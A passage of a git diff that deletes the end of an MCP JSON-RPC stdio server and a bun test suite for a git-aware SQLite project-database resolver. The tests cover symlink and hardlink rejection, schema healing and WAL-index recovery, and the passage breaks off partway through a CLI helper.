=> ({ name: t.name, description: t.description, inputSchema: t.inputSchema })), - }); - } - return; - case 'tools/call': - if (!isNotification) handleToolsCall(id, req.params); - return; - default: - // Notifications (e.g. notifications/initialized, notifications/*) get no - // reply. An unknown method WITH an id is a JSON-RPC method-not-found. - if (!isNotification) err(id, METHOD_NOT_FOUND, `Method not found: ${req.method}`); - return; - } - } - - function handleLine(line: string): void { - const trimmed = line.trim(); - if (!trimmed) return; - let req: JsonRpcRequest; - try { - req = JSON.parse(trimmed) as JsonRpcRequest; - } catch { - // Unparseable line → cannot attribute an id; drop it (no id to reply to). - return; - } - // A JSON-RPC request must be a non-null object. `JSON.parse('null')` and bare - // primitives are valid JSON but carry no id to attribute — drop them like an - // unparseable line. Without this, `dispatch(null)` (and the catch below) throw - // on `null.id`, and the uncaught error crashes the server on a `null` line. - if (req === null || typeof req !== 'object') return; - try { - dispatch(req); - } catch (e) { - const id = req.id ?? null; - if (id !== null) err(id, INTERNAL_ERROR, e instanceof Error ? e.message : String(e)); - } - } - - const rl = createInterface({ input: process.stdin, crlfDelay: Number.POSITIVE_INFINITY }); - rl.on('line', handleLine); - - await new Promise<void>((resolve) => { - rl.on('close', () => { - config.onClose?.(); - ctx.db?.close(); - // Flush stdout BEFORE exiting: the empty-write callback fires after the - // stream's buffer (including all prior response writes) drains to the OS, - // so the final response is never truncated. - process.stdout.write('', () => resolve()); - }); - }); -} diff --git a/src/lib/v5/mcp-tools.test.ts b/src/lib/v5/mcp-tools.test.ts deleted file mode 100644 index df32e3e33..000000000 --- a/src/lib/v5/mcp-tools.test.ts +++ /dev/null @@ -1,1313 +0,0 @@ -/** - * mcp-tools — the fail-closed project-context resolver (Group A) and the - * read-only tool projections it guards. - * - * The resolver remains re-exported from mcp-tools.ts for the read-only bridge - * adapter, which can refuse to serialize an outer/cache-root empty board without - * dragging the readonly bun:sqlite open into the eager genie.ts import graph. - * - * Every fixture is a real git repo in a tmpdir (per repo convention) so the four - * production values — effectiveLaunchCwd, worktreeConfigRoot, absolute - * gitCommonDir, and genieStorageRoot = dirname(gitCommonDir) — are exercised - * against actual `git rev-parse` behavior, not mocks. - */ - -import { Database } from 'bun:sqlite'; -import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { execFileSync } from 'node:child_process'; -import { - accessSync, - chmodSync, - copyFileSync, - existsSync, - constants as fsConstants, - linkSync, - mkdirSync, - mkdtempSync, - realpathSync, - renameSync, - rmSync, - symlinkSync, - writeFileSync, -} from 'node:fs'; -import { tmpdir } from 'node:os'; -import { basename, dirname, join } from 'node:path'; -import { BusyDbError, STAGE_LOG_BACKFILL_KEY, isCurrentGenieDb, openDb } from './genie-db.js'; -import { type ToolErrorResult, isToolError, unwrapToolError } from './mcp-server.js'; -import { - MCP_TOOLS, - MCP_WRITE_TOOLS, - type TaskSummary, - type ToolContext, - isDegradedReadonlyDb, - openReadonlyDb, - openReadonlyDbHealingStaleSchema, - openWriteableDb, - readonlyDatabaseHandleMatchesPath, - resolveProjectContext, -} from './mcp-tools.js'; -import { hasStaleReadonlyWalIndex } from './sqlite-open.js'; -import { - blockTask, - createBoard, - createTask, - getDependencies, - getTask, - getTaskEvents, - getTaskLane, -} from './task-state.js'; - -let base: string; - -function git(cwd: string, ...args: string[]): void { - execFileSync('git', args, { - cwd, - stdio: 'ignore', - env: { - ...process.env, - GIT_AUTHOR_NAME: 'Test', - GIT_AUTHOR_EMAIL: 'test@example.com', - GIT_COMMITTER_NAME: 'Test', - GIT_COMMITTER_EMAIL: 'test@example.com', - }, - }); -} - -/** Real git repo with one commit at `dir` (created if absent). */ -function initRepo(dir: string): string { - mkdirSync(dir, { recursive: true }); - git(dir, 'init', '-b', 'main'); - git(dir, 'commit', '--allow-empty', '-m', 'init'); - return dir; -} - -/** Create a real, seeded genie.db under `<storageRoot>/.genie/genie.db`. */ -function seedDb(storageRoot: string): void { - const db = openDb({ cwd: storageRoot }); - const board = createBoard(db, 'repo'); - createTask(db, { title: 'seed', boardId: board.id, wish: 'w', group: 'g' }); - // Fold pending WAL frames into the main db and close before any reader opens, - // so readonly consumers aren't racing an open WAL writer under cross-file - // test contention (would otherwise surface as "database is locked"). - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); -} - -/** - * Canonicalize by realpath-ing the nearest EXISTING ancestor and re-appending - * the (possibly absent) tail — so macOS /private symlinks never cause false - * diffs, and an intentionally-absent db path still compares cleanly. - */ -function canon(p: string): string { - let existing = p; - const tail: string[] = []; - while (!existsSync(existing) && dirname(existing) !== existing) { - tail.unshift(basename(existing)); - existing = dirname(existing); - } - return tail.length > 0 ? join(realpathSync(existing), ...tail) : realpathSync(existing); -} - -function samePath(actual: string | undefined, expected: string): void { - expect(actual).toBeDefined(); - expect(canon(actual as string)).toBe(canon(expected)); -} - -beforeEach(() => { - base = mkdtempSync(join(tmpdir(), 'genie-ctx-')); -}); - -afterEach(() => { - rmSync(base, { recursive: true, force: true }); -}); - -// ============================================================================ -// resolveProjectContext — the four-value model + typed fail-closed states -// ============================================================================ - -describe('resolveProjectContext: supported layouts', () => { - test('repository root with a genie.db resolves all four values and never changes launch cwd', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const ctx = resolveProjectContext(repo); - expect(ctx.kind).toBe('ok'); - if (ctx.kind !== 'ok') throw new Error('expected ok'); - samePath(ctx.effectiveLaunchCwd, repo); // launch cwd is the input, unchanged - samePath(ctx.worktreeConfigRoot, repo); - samePath(ctx.gitCommonDir, join(repo, '.git')); - samePath(ctx.genieStorageRoot, repo); - samePath(ctx.dbPath, join(repo, '.genie', 'genie.db')); - // genieStorageRoot is exactly dirname(gitCommonDir). - samePath(dirname(ctx.gitCommonDir), ctx.genieStorageRoot); - }); - - test('an ordinary nested subdirectory resolves to the same storage root, not the subdir', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const deep = join(repo, 'src', 'deep'); - mkdirSync(deep, { recursive: true }); - const ctx = resolveProjectContext(deep); - expect(ctx.kind).toBe('ok'); - if (ctx.kind !== 'ok') throw new Error('expected ok'); - samePath(ctx.effectiveLaunchCwd, deep); // cwd stays the subdir - samePath(ctx.genieStorageRoot, repo); // but storage is the repo root - samePath(ctx.dbPath, join(repo, '.genie', 'genie.db')); - }); - - test('an initialized nested repository uses its OWN storage root, never the outer db', () => { - const outer = initRepo(join(base, 'outer')); - seedDb(outer); - const nested = initRepo(join(outer, 'vendor', 'nested')); - seedDb(nested); - const ctx = resolveProjectContext(nested); - expect(ctx.kind).toBe('ok'); - if (ctx.kind !== 'ok') throw new Error('expected ok'); - samePath(ctx.genieStorageRoot, nested); - samePath(ctx.dbPath, join(nested, '.genie', 'genie.db')); - expect(canon(ctx.dbPath)).not.toBe(canon(join(outer, '.genie', 'genie.db'))); - }); - - test('a linked worktree keeps config under the linked root but the db under the main common root', () => { - const main = initRepo(join(base, 'main')); - seedDb(main); // db lives ONLY at the main common root - const linked = join(base, 'linked'); - git(main, 'worktree', 'add', '-b', 'wt', linked); - const ctx = resolveProjectContext(linked); - expect(ctx.kind).toBe('ok'); - if (ctx.kind !== 'ok') throw new Error('expected ok'); - samePath(ctx.worktreeConfigRoot, linked); // config stays in the linked worktree - samePath(ctx.gitCommonDir, join(main, '.git')); // common dir is the MAIN repo's .git - samePath(ctx.genieStorageRoot, main); // dirname(gitCommonDir) == main - samePath(ctx.dbPath, join(main, '.genie', 'genie.db')); // sentinel read from the main db - // Neither the main-worktree cwd nor a cache is substituted as launch context. - samePath(ctx.effectiveLaunchCwd, linked); - }); -}); - -describe('resolveProjectContext: fail-closed states', () => { - test('a non-git directory is project-context-unavailable (never falls outward)', () => { - const plain = join(base, 'plain'); - mkdirSync(plain, { recursive: true }); - const ctx = resolveProjectContext(plain); - expect(ctx.kind).toBe('project-context-unavailable'); - samePath(ctx.effectiveLaunchCwd, plain); - }); - - test('a git repo with no genie.db is project-database-unavailable and names the exact candidate', () => { - const repo = initRepo(join(base, 'repo')); - const ctx = resolveProjectContext(repo); - expect(ctx.kind).toBe('project-database-unavailable'); - if (ctx.kind === 'ok') throw new Error('expected error'); - samePath(ctx.genieStorageRoot as string, repo); - samePath(ctx.dbPath as string, join(repo, '.genie', 'genie.db')); - expect(ctx.detail).toContain('.genie/genie.db'); - }); - - test('a .genie symlink to another repository with a valid database is rejected', () => { - const repo = initRepo(join(base, 'repo')); - const other = initRepo(join(base, 'other')); - seedDb(other); - symlinkSync(join(other, '.genie'), join(repo, '.genie'), 'dir'); - - const ctx = resolveProjectContext(repo); - expect(ctx.kind).toBe('project-database-unavailable'); - if (ctx.kind === 'ok') throw new Error('expected error'); - expect(ctx.detail).toContain('physical directory'); - expect(openReadonlyDb(repo)).toBeNull(); - }); - - test('a genie.db symlink to another repository valid database is rejected', () => { - const repo = initRepo(join(base, 'repo')); - const other = initRepo(join(base, 'other')); - seedDb(other); - mkdirSync(join(repo, '.genie')); - symlinkSync(join(other, '.genie', 'genie.db'), join(repo, '.genie', 'genie.db'), 'file'); - - const ctx = resolveProjectContext(repo); - expect(ctx.kind).toBe('project-database-unavailable'); - if (ctx.kind === 'ok') throw new Error('expected error'); - expect(ctx.detail).toContain('physical regular file'); - expect(openReadonlyDb(repo)).toBeNull(); - }); - - test('a hardlinked genie.db physical alias is rejected', () => { - const repo = initRepo(join(base, 'repo')); - const other = initRepo(join(base, 'other')); - seedDb(other); - mkdirSync(join(repo, '.genie')); - linkSync(join(other, '.genie', 'genie.db'), join(repo, '.genie', 'genie.db')); - - const ctx = resolveProjectContext(repo); - expect(ctx.kind).toBe('project-database-unavailable'); - if (ctx.kind === 'ok') throw new Error('expected error'); - expect(ctx.detail).toContain('hardlink'); - expect(openReadonlyDb(repo)).toBeNull(); - }); - - test('an exact validated binding refuses a later genie.db substitution with another valid database', () => { - const repo = initRepo(join(base, 'repo')); - const other = initRepo(join(base, 'other')); - seedDb(repo); - seedDb(other); - const ctx = resolveProjectContext(repo); - if (ctx.kind !== 'ok' || ctx.databaseBinding === undefined) throw new Error('expected bound database'); - - rmSync(ctx.dbPath); - symlinkSync(join(other, '.genie', 'genie.db'), ctx.dbPath, 'file'); - - expect(openReadonlyDb(ctx.databaseBinding)).toBeNull(); - }); - - test('an uninitialized nested repository fails at its own boundary, never reading the outer db', () => { - const outer = initRepo(join(base, 'outer')); - seedDb(outer); // outer HAS a db — the nested boundary must not fall through to it - const nested = initRepo(join(outer, 'nested')); // no db here - const ctx = resolveProjectContext(nested); - expect(ctx.kind).toBe('project-database-unavailable'); - if (ctx.kind === 'ok') throw new Error('expected error'); - samePath(ctx.dbPath as string, join(nested, '.genie', 'genie.db')); - expect(canon(ctx.dbPath as string)).not.toBe(canon(join(outer, '.genie', 'genie.db'))); - }); - - test('a bare repository is unsupported-project-layout before any db lookup', () => { - const bare = join(base, 'bare.git'); - git(base, 'init', '--bare', bare); - const ctx = resolveProjectContext(bare); - expect(ctx.kind).toBe('unsupported-project-layout'); - expect(ctx.dbPath).toBeUndefined(); - }); - - test('a submodule working tree is unsupported-project-layout', () => { - const sub = initRepo(join(base, 'subrepo')); - const superRepo = initRepo(join(base, 'super')); - execFileSync('git', ['-c', 'protocol.file.allow=always', 'submodule', 'add', sub, 'mysub'], { - cwd: superRepo, - stdio: 'ignore', - env: { - ...process.env, - GIT_AUTHOR_NAME: 'T', - GIT_AUTHOR_EMAIL: 't@e.com', - GIT_COMMITTER_NAME: 'T', - GIT_COMMITTER_EMAIL: 't@e.com', - }, - }); - seedDb(superRepo); // even with an outer db present, the submodule must not use it - const ctx = resolveProjectContext(join(superRepo, 'mysub')); - expect(ctx.kind).toBe('unsupported-project-layout'); - expect(ctx.dbPath).toBeUndefined(); - }); - - test('an external/separate-git-dir layout is unsupported-project-layout', () => { - const work = join(base, 'work'); - const external = join(base, 'external-gitdir'); - mkdirSync(work, { recursive: true }); - git(base, 'init', `--separate-git-dir=${external}`, work); - const ctx = resolveProjectContext(work); - expect(ctx.kind).toBe('unsupported-project-layout'); - expect(ctx.dbPath).toBeUndefined(); - }); -}); - -// ============================================================================ -// Opened-handle identity — SQLite VFS binding closes the swap/restore window -// ============================================================================ - -describe('openReadonlyDb: exact opened handle', () => { - test('HAS_MOVED accepts only a zero SQLite result with a zero moved flag', () => { - const handle = (result: number, moved: number, throws = false): Pick<Database, 'fileControl'> => ({ - fileControl: ((_op: number, arg?: ArrayBufferView | number) => { - if (throws) throw new Error('fixture unsupported VFS'); - if (arg instanceof Int32Array) arg[0] = moved; - return result; - }) as Database['fileControl'], - }); - - expect(readonlyDatabaseHandleMatchesPath(handle(0, 0))).toBe(true); - expect(readonlyDatabaseHandleMatchesPath(handle(0, 1))).toBe(false); - expect(readonlyDatabaseHandleMatchesPath(handle(12, 0))).toBe(false); - expect(readonlyDatabaseHandleMatchesPath(handle(0, 0, true))).toBe(false); - }); - - test('an injected moved-handle refusal closes the opened database', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const ctx = resolveProjectContext(repo); - if (ctx.kind !== 'ok' || ctx.databaseBinding === undefined) throw new Error('expected bound database'); - let closed = false; - const fakeDb = { - close: () => { - closed = true; - }, - } as Database; - - const opened = openReadonlyDb(ctx.databaseBinding, { - openDatabase: () => fakeDb, - verifyOpenedHandle: () => false, - }); - - expect(opened).toBeNull(); - expect(closed).toBe(true); - }); - - test.skipIf(process.platform === 'win32')( - 'a real A→B constructor swap then B→A restore is rejected by the opened VFS handle', - () => { - const repo = initRepo(join(base, 'repo')); - const other = initRepo(join(base, 'other')); - seedDb(repo); - seedDb(other); - const ctx = resolveProjectContext(repo); - if (ctx.kind !== 'ok' || ctx.databaseBinding === undefined) throw new Error('expected bound database'); - const otherDbPath = join(other, '.genie', 'genie.db'); - const parkedOriginal = join(base, 'parked-original.db'); - - const raced = openReadonlyDb(ctx.databaseBinding, { - openDatabase: (path) => { - renameSync(path, parkedOriginal); - renameSync(otherDbPath, path); - let opened: Database; - try { - opened = new Database(path, { readonly: true }); - } finally { - renameSync(path, otherDbPath); - renameSync(parkedOriginal, path); - } - return opened; - }, - }); - - expect(raced).toBeNull(); - const restored = openReadonlyDb(ctx.databaseBinding); - expect(restored).not.toBeNull(); - restored?.close(); - }, - ); -}); - -// ============================================================================ -// The read tools serve real state when the context is ok -// ============================================================================ - -describe('tools serve real state under an ok context', () => { - test('genie_board reflects the seeded db opened from the resolved storage root', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const ctx = resolveProjectContext(repo); - if (ctx.kind !== 'ok') throw new Error('expected ok'); - const db = openReadonlyDb(ctx.effectiveLaunchCwd); - expect(db).not.toBeNull(); - const board = MCP_TOOLS.find((t) => t.name === 'genie_board'); - const payload = board?.handler({ db, cwd: ctx.effectiveLaunchCwd, context: ctx }, {}) as { - counts: { total: number }; - }; - expect(payload.counts.total).toBe(1); - db?.close(); - }); -}); - -// ============================================================================ -// openReadonlyDbHealingStaleSchema — additive-lag self-heal (the N→T dogfood -// regression: a DB stamped by an older build fails isCurrentGenieDb on the -// readonly path until a write-path open backfills the additive columns, and a -// pure-MCP consumer never performs one) -// ============================================================================ - -describe('openReadonlyDbHealingStaleSchema', () => { - /** Rewind a current DB to an older build's shape: same user_version, missing additive columns. */ - function makeAdditiveLagDb(repo: string): string { - seedDb(repo); - const path = join(repo, '.genie', 'genie.db'); - const db = new Database(path); - for (const column of ['agent_kind', 'heartbeat_at', 'blocked_by', 'blocked_reason']) { - db.exec(`ALTER TABLE tasks DROP COLUMN ${column}`); - } - db.exec('ALTER TABLE boards DROP COLUMN lanes'); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - return path; - } - - test('heals an older build database in place and returns a validating handle', () => { - const repo = initRepo(join(base, 'repo')); - makeAdditiveLagDb(repo); - - const stale = openReadonlyDb(repo); - expect(stale).not.toBeNull(); - expect(isCurrentGenieDb(stale as Database)).toBe(false); - stale?.close(); - - const healed = openReadonlyDbHealingStaleSchema(repo); - expect(healed).not.toBeNull(); - expect(isCurrentGenieDb(healed as Database)).toBe(true); - // The seeded task is served through the healed handle, additive columns included. - const row = (healed as Database).query('SELECT title, wish, agent_kind FROM tasks').get() as { - title: string; - wish: string; - agent_kind: string | null; - }; - expect(row.title).toBe('seed'); - expect(row.wish).toBe('w'); - healed?.close(); - - // The heal is durable on disk: a plain readonly reopen validates current. - const reopened = openReadonlyDb(repo); - expect(isCurrentGenieDb(reopened as Database)).toBe(true); - reopened?.close(); - }); - - test('accepts the databaseBinding target form the MCP loop passes', () => { - const repo = initRepo(join(base, 'repo')); - makeAdditiveLagDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) { - throw new Error(`expected ok context with binding, got ${context.kind}`); - } - const healed = openReadonlyDbHealingStaleSchema(context.databaseBinding); - expect(healed).not.toBeNull(); - expect(isCurrentGenieDb(healed as Database)).toBe(true); - healed?.close(); - }); - - test('never creates an absent database', () => { - const repo = initRepo(join(base, 'repo')); - expect(openReadonlyDbHealingStaleSchema(repo)).toBeNull(); - expect(existsSync(join(repo, '.genie', 'genie.db'))).toBe(false); - }); - - test('refuses to heal through a binding whose database was substituted', () => { - const repo = initRepo(join(base, 'repo')); - makeAdditiveLagDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) { - throw new Error(`expected ok context with binding, got ${context.kind}`); - } - const binding = context.databaseBinding; - // Replace the bound database after the binding was captured — the heal - // must fail closed, never write-open the substituted file (openDb would - // otherwise run ensureSchema DDL on it). The substitute is created while - // the original still exists so it is guaranteed a distinct inode even on - // filesystems that recycle inode numbers immediately (ext4), then renamed - // over the original — the realistic atomic-swap shape. - const dbPath = join(repo, '.genie', 'genie.db'); - const substitute = join(repo, '.genie', 'genie.db.substitute'); - copyFileSync(dbPath, substitute); - renameSync(substitute, dbPath); - expect(openReadonlyDbHealingStaleSchema(binding)).toBeNull(); - // The substituted database was left untouched by any write-path open. - const untouched = openReadonlyDb(repo); - expect(isCurrentGenieDb(untouched as Database)).toBe(false); - untouched?.close(); - }); - - test('serves a marker-only-stale database readonly when the heal write is impossible', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const path = join(repo, '.genie', 'genie.db'); - const stale = new Database(path); - // Shape is fully current; only the data-only backfill marker is pending — - // the one staleness a read never depends on. - stale.query('DELETE FROM meta WHERE key = ?').run(STAGE_LOG_BACKFILL_KEY); - stale.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - stale.close(); - - // Write-protect the database and its directory: the sandboxed/CI shape - // where the consumer can read .genie/genie.db but never write it, so the - // write-path heal is impossible. - const genieDir = join(repo, '.genie'); - chmodSync(path, 0o444); - chmodSync(genieDir, 0o555); - try { - // Root (some CI containers) ignores file modes, so the heal write would - // succeed and this test would assert the wrong branch — the degrade - // path is only expressible where chmod actually revokes write access. - try { - accessSync(path, fsConstants.W_OK); - return; // still writable (running as root) — skip - } catch { - // write access revoked as intended — proceed - } - const served = openReadonlyDbHealingStaleSchema(repo); - if (served === null) { - // Null is only acceptable when this platform's SQLite cannot read a - // write-protected WAL database AT ALL (read-only WAL support varies - // by VFS state — ubuntu CI hits this). Probe a plain readonly open + - // query: if that works, the degrade fallback should have served the - // handle and returning null is a real regression. - const probe = openReadonlyDb(repo); - let readable = false; - try { - if (probe !== null) { - probe.query('SELECT 1 FROM meta').get(); - readable = true; - } - } catch { - // unreadable — the scenario is inexpressible in this environment - } - probe?.close(); - expect(readable).toBe(false); - return; - } - // Still not strictly current (marker pending) — but readable and served. - expect(isCurrentGenieDb(served)).toBe(false); - const row = served.query('SELECT title FROM tasks').get() as { title: string }; - expect(row.title).toBe('seed'); - served.close(); - } finally { - chmodSync(genieDir, 0o755); - chmodSync(path, 0o644); - } - }); - - test('fails closed on a future user_version instead of healing it', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const path = join(repo, '.genie', 'genie.db'); - const db = new Database(path); - db.exec('PRAGMA user_version = 99'); - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); - expect(openReadonlyDbHealingStaleSchema(repo)).toBeNull(); - // The refusal left the foreign version untouched. - const check = new Database(path, { readonly: true }); - expect((check.query('PRAGMA user_version').get() as { user_version: number }).user_version).toBe(99); - check.close(); - }); -}); - -// ============================================================================ -// Poisoned-WAL-index fixtures. The MCP write open is the ONE caller of the -// recovery (`openWithWalIndexRecovery`, whose mechanics are tested directly in -// sqlite-open.test.ts) because it is the one path that CREATES the poison: its -// degrade fallback hands out a read-only handle whose close writes the header. -// The shared `openSqlite` deliberately does not heal — genie-db.test.ts pins -// that. What is asserted HERE is the whole rescoped scenario end to end -// (degrade → poison → repaired filesystem → write open heals → writes succeed) -// and that the busy carve-out above it is intact. NOTE: on this machine the -// REAL poison is byte-for-byte identical to the virgin header bun writes on any -// healthy fresh open, and the write open does NOT throw on it (bun hands back a -// writable-looking handle whose writes fail "disk I/O error") — only the -// post-open write probe sees it. -// ============================================================================ - -/** - * The exact read-only WAL-index header macOS/bun leaves in `-shm` when a - * DEGRADED readonly connection closes while the db file is write-protected: - * iVersion + isInit still set, iChange (offset 8) and nPage (offset 20) zeroed. - * Observed live on macOS (bun 1.x): a write-protected db opened without the - * readonly flag silently opens READONLY, writes fail with "attempt to write a - * readonly database", and the close leaves this header. - */ -function poisonShmHeader(): Buffer { - const header = Buffer.alloc(32768); - header.writeUInt32LE(0x002de218, 0); // iVersion (matches the observed value) - header.writeUInt32LE(1, 12); // isInit - return header; -} - -// ============================================================================ -// openWriteableDb — hardened write path + read-only-degrade fallback (Group 1 -// retained from the historical mcp-write-tools contract) -// ============================================================================ - -describe('openWriteableDb', () => { - /** Probe whether a handle can take the write lock (BEGIN IMMEDIATE), then roll back. */ - function expectWritable(db: Database | null): void { - expect(db).not.toBeNull(); - // A readonly/degraded handle raises SQLITE_READONLY here; a writable handle - // takes the write lock and rolls back, leaving no side effect. - (db as Database).exec('BEGIN IMMEDIATE'); - (db as Database).exec('ROLLBACK'); - } - - test('opens a WRITABLE handle through the standard CLI path in a healthy repo', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) throw new Error('expected bound database'); - const db = openWriteableDb(context.databaseBinding); - expectWritable(db); - expect(isDegradedReadonlyDb(db)).toBe(false); - // The seeded task is served through the writable handle. - const row = (db as Database).query('SELECT title FROM tasks').get() as { title: string }; - expect(row.title).toBe('seed'); - (db as Database).close(); - }); - - test('degrades to a readable-but-degraded readonly handle on a write-protected fully-current db', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) throw new Error('expected bound database'); - const path = context.databaseBinding.physicalPath; - const genieDir = dirname(path); - chmodSync(path, 0o444); - chmodSync(genieDir, 0o555); - try { - // Root (some CI containers) ignores file modes, so the write open would - // succeed and this test would assert the wrong branch — the degrade path - // is only expressible where chmod actually revokes write access. - try { - accessSync(path, fsConstants.W_OK); - return; // still writable (running as root) — skip - } catch { - // write access revoked as intended — proceed - } - const served = openWriteableDb(context.databaseBinding); - if (served === null) { - // Null is only acceptable when this platform's SQLite cannot read a - // write-protected WAL database AT ALL (read-only WAL support varies by - // VFS state). Probe a plain readonly open + query: if that works, the - // degrade fallback should have served the handle and null is a regression. - const probe = openReadonlyDb(context.databaseBinding); - let readable = false; - try { - if (probe !== null) { - probe.query('SELECT 1 FROM meta').get(); - readable = true; - } - } catch { - // unreadable — the scenario is inexpressible in this environment - } - probe?.close(); - expect(readable).toBe(false); - return; - } - // The fully-current db's reads still serve through the degraded handle... - const row = served.query('SELECT title FROM tasks').get() as { title: string }; - expect(row.title).toBe('seed'); - // ...and the handle is observable as degraded (a write through it fails). - expect(isDegradedReadonlyDb(served)).toBe(true); - served.close(); - } finally { - chmodSync(genieDir, 0o755); - chmodSync(path, 0o644); - } - }); - - test('a subsequent write open on a repaired filesystem yields a fresh NON-degraded handle (never latched)', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) throw new Error('expected bound database'); - const path = context.databaseBinding.physicalPath; - const genieDir = dirname(path); - chmodSync(path, 0o444); - chmodSync(genieDir, 0o555); - try { - try { - accessSync(path, fsConstants.W_OK); - return; // root — the degrade branch is inexpressible, skip - } catch { - // proceed - } - const degraded = openWriteableDb(context.databaseBinding); - if (degraded === null) { - // Inexpressible on this platform (same probe as the degrade test). - const probe = openReadonlyDb(context.databaseBinding); - let readable = false; - try { - if (probe !== null) { - probe.query('SELECT 1 FROM meta').get(); - readable = true; - } - } catch { - // unreadable - } - probe?.close(); - if (!readable) return; - } - expect(isDegradedReadonlyDb(degraded)).toBe(true); - degraded?.close(); - } finally { - chmodSync(genieDir, 0o755); - chmodSync(path, 0o644); - } - // Repaired filesystem: the NEXT open goes through the write path and the - // fresh handle is NOT degraded — the degraded state was derived from the - // per-open outcome, never latched across opens. - const restored = openWriteableDb(context.databaseBinding); - expectWritable(restored); - expect(isDegradedReadonlyDb(restored)).toBe(false); - (restored as Database).close(); - }); - - test('never creates an absent database (resolver ordering: a non-ok context never reaches the open)', () => { - const repo = initRepo(join(base, 'repo')); - expect(openWriteableDb(repo)).toBeNull(); - expect(existsSync(join(repo, '.genie', 'genie.db'))).toBe(false); - }); - - test('fails closed (null) on foreign, unversioned-foreign, and malformed databases', () => { - const repo = initRepo(join(base, 'repo')); - const dbPath = join(repo, '.genie', 'genie.db'); - mkdirSync(dirname(dbPath), { recursive: true }); - - // Foreign: user_version = 99 with a lookalike tasks table. - const foreign = new Database(dbPath); - foreign.exec( - 'CREATE TABLE tasks (id TEXT PRIMARY KEY, title TEXT NOT NULL, status TEXT NOT NULL); PRAGMA user_version = 99', - ); - foreign.close(); - expect(openWriteableDb(repo)).toBeNull(); - - // Unversioned foreign: user_version = 0 with existing foreign tables. - rmSync(dbPath); - const v0 = new Database(dbPath); - v0.exec('CREATE TABLE inventory (id TEXT PRIMARY KEY)'); - v0.close(); - expect(openWriteableDb(repo)).toBeNull(); - - // Malformed: not a SQLite database at all. - rmSync(dbPath); - writeFileSync(dbPath, 'not a sqlite database'); - expect(openWriteableDb(repo)).toBeNull(); - }); - - test('the REAL poison a degraded session leaves behind heals on the next write open (no seam)', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) throw new Error('expected bound database'); - const binding = context.databaseBinding; - const path = binding.physicalPath; - const genieDir = dirname(path); - - // Build the REAL poison in-process: the degraded readonly fallback's close - // writes the zeroed read-only wal-index header into -shm. Crafted header - // bytes canNOT stand in for it — the real poison is byte-identical to a - // healthy virgin header and only fails through the HANDLE. - chmodSync(path, 0o444); - chmodSync(genieDir, 0o555); - try { - try { - accessSync(path, fsConstants.W_OK); - return; // root — the degrade branch is inexpressible, skip - } catch { - // write access revoked as intended — proceed - } - const degraded = openWriteableDb(binding); - if (degraded === null) { - // Inexpressible on this platform (same probe as the degrade test). - const probe = openReadonlyDb(binding); - let readable = false; - try { - if (probe !== null) { - probe.query('SELECT 1 FROM meta').get(); - readable = true; - } - } catch { - // unreadable — the scenario is inexpressible in this environment - } - probe?.close(); - if (!readable) return; - } - expect(isDegradedReadonlyDb(degraded)).toBe(true); - degraded?.close(); // writes the REAL poison marker into -shm - } finally { - chmodSync(genieDir, 0o755); - chmodSync(path, 0o644); - } - if (!hasStaleReadonlyWalIndex(binding.physicalPath)) return; // no poison produced here - - // Repaired filesystem: the write open runs the MCP-scoped recovery — the - // open itself succeeds, its post-open probe rejects the poison, the - // sidecars are rebuilt, and the handle served is writable and NOT degraded. - const db = openWriteableDb(binding); - expectWritable(db); - expect(isDegradedReadonlyDb(db)).toBe(false); - // A real write lands (the probe alone would not prove the heal), and the - // poisoned header is gone. - (db as Database).exec("INSERT INTO meta (key, value) VALUES ('after-poison', '1')"); - expect( - ((db as Database).query("SELECT value FROM meta WHERE key = 'after-poison'").get() as { value: string }).value, - ).toBe('1'); - (db as Database).close(); - expect(hasStaleReadonlyWalIndex(binding.physicalPath)).toBe(false); - }); - - test('a BusyDbError write open returns null WITHOUT the readonly degrade fallback or sidecar recovery', () => { - const repo = initRepo(join(base, 'repo')); - seedDb(repo); - const context = resolveProjectContext(repo); - if (context.kind !== 'ok' || context.databaseBinding === undefined) throw new Error('expected bound database'); - const binding = context.databaseBinding; - const shmPath = `${binding.physicalPath}-shm`; - - // Even with a poisoned -shm present, a busy open must NOT run sidecar - // recovery (the sidecars belong to a live writer) and must NOT degrade to - // readonly: the loop's per-call reopen retries the write open next call. - rmSync(shmPath, { force: true }); - writeFileSync(shmPath, poisonShmHeader()); - - const db = openWriteableDb(binding, { - openDatabase: () => { - throw new BusyDbError(binding.physicalPath, new Error('write lock held by another process')); - }, - }); - expect(db).toBeNull(); - expect(isDegradedReadonlyDb(db)).toBe(false); // not mislabeled read-only - // The poisoned -shm was left untouched — recovery never ran for a busy db. - expect(hasStaleReadonlyWalIndex(binding.physicalPath)).toBe(true); - }); -}); -// ============================================================================ -// MCP_WRITE_TOOLS — the 12 operative write tools (Group 2) -// ============================================================================ -// -// Every verb is driven through the retired registry in-process, then its -// observable db effect is read back via `task-state.ts` queries. Standalone -// cross-process behavior is anchored separately through the supported task CLI. - -interface TaskCliRun { - stdout: string; - stderr: string; - exitCode: number; -} - -/** Spawn one supported standalone `genie task` command. */ -async function spawnTaskCli(cwd: string, args: string[]): Promise<TaskCliRun> { - const proc = Bun.spawn(['bun', join(import.meta.dir, '..', '..', 'genie.ts'), 'task', ...args], { - 